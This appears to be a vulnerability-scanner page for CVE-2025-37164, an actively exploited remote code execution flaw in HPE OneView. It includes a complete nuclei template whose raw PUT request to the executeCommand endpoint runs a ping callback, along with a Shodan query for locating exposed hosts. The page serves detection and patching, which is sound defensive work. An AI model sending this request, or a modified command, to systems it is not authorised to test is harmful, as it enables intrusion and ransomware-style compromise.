HPE OneView - Remote Code Execution

Exploited in the wild. Listed by CISA on 2026-01-07; known to be used by ransomware.

criticalseverity

90.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

HPE OneView contains a remote code execution vulnerability, letting remote attackers execute arbitrary code.

Impact

Remote attackers can execute arbitrary code, potentially leading to full system compromise.

Fix

Update to the latest version.

How to confirm it

Send: GET /rest/version ; PUT /rest/id-pools/executeCommand
Positive when: contains "ExecutableCommand" AND contains in interactsh_protocol "dns" AND status 200

Run it with nuclei: nuclei -id CVE-2025-37164 -u <target>

The full check

id: CVE-2025-37164

info:
  name: HPE OneView - Remote Code Execution
  author: DhiyaneshDk,garciaizcoa
  severity: critical
  description: |
    HPE OneView contains a remote code execution vulnerability, letting remote attackers execute arbitrary code.
  impact: |
    Remote attackers can execute arbitrary code, potentially leading to full system compromise.
  remediation: |
    Update to the latest version.
  reference:
    - https://attackerkb.com/topics/ixWdbDvjwX/cve-2025-37164/rapid7-analysis
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"HPE" html:"OneView"
  tags: cve,cve2025,hpe,oneview,rce,vkev,kev,vuln

http:
  - raw:
      - |
        GET /rest/version HTTP/1.1
        Host: {{Hostname}}

      - |
        PUT /rest/id-pools/executeCommand HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-API-Version: {{apiversion}}
        Accept-Encoding: gzip
        {
        "cmd":"ping -c 2 {{interactsh-url}}",
        "result":0
        }

    extractors:
      - type: json
        part: body
        name: apiversion
        internal: true
        json:
          - '.currentVersion'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "ExecutableCommand"

      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 200

References

https://attackerkb.com/topics/ixWdbDvjwX/cve-2025-37164/rapid7-analysis

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